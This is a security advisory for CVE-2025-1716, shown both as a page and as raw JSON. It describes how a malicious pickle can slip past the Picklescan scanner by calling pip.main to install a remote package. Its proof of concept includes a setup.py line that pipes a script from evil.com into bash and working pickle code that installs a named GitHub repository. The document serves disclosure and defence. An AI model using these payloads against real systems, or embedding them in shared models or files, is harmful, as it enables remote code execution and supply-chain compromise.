ghsa-655q-fx9r-782v
Vulnerability from github
Published
2025-03-03 20:05
Modified
2025-04-09 20:38
Summary
Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis
Details

CVE-2025-1716

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details

Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

  1. During unpickling, it calls pip.main() to install a malicious PyPI package.
  2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
  3. Execution is silent, with minimal logging to avoid detection.

PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.

Example malicious setup.py ``` from setuptools import setup import os

os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script

setup( name="rsac-demo-package", version="0.1", packages=["rsac_demo"], install_requires=[], ) ``` Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle ``` import pickle import pip

class Exploit: def reduce(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], )

malicious_pickle = pickle.dumps(Exploit())

Simulating deserialization attack

pickle.loads(malicious_pickle) `` This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging thesetup.py` file.

Impact

Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes

Add "pip": "*" to the list of unsafe globals

Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.21"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T20:05:49Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### CVE-2025-1716\n\n### Summary\nAn unsafe deserialization vulnerability in Python\u2019s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.\n\n### Details\nPickle\u2019s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.\n\nThe payload executes the following steps:\n\n1. During unpickling, it calls pip.main() to install a malicious PyPI package.\n2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.\n3. Execution is silent, with minimal logging to avoid detection.\n\n### PoC\n\nStep 1: Create the Malicious Package\nHost a PyPI package with a malicious setup.py or entry_point.\n\nExample malicious `setup.py`\n```\nfrom setuptools import setup\nimport os\n\nos.system(\"curl -s https://evil.com/payload.sh | bash\")  # Executes remote shell script\n\nsetup(\n    name=\"rsac-demo-package\",\n    version=\"0.1\",\n    packages=[\"rsac_demo\"],\n    install_requires=[],\n)\n```\nUpload it to PyPI or host on GitHub.\n\nStep 2: Exploit via Pickle\n```\nimport pickle\nimport pip\n\nclass Exploit:\n    def __reduce__(self):\n        return pip.main, (\n            [\u0027install\u0027, \u0027git+https://github.com/madgetr/rsac-demo-package\u0027, \u0027--no-input\u0027, \u0027-q\u0027, \u0027-q\u0027, \u0027-q\u0027,\n             \u0027--exists-action\u0027, \u0027i\u0027, \u0027--isolated\u0027],\n        )\n\nmalicious_pickle = pickle.dumps(Exploit())\n\n# Simulating deserialization attack\npickle.loads(malicious_pickle)\n```\nThis installs a malicious package from GitHub or PyPI.\nThe payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.\n\n\n### Impact\nRemote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\nBypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.\n\n### Recommended Fixes\nAdd  `\"pip\": \"*\"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)",
  "id": "GHSA-655q-fx9r-782v",
  "modified": "2025-04-09T20:38:31Z",
  "published": "2025-03-03T20:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-18.yaml"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...
  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.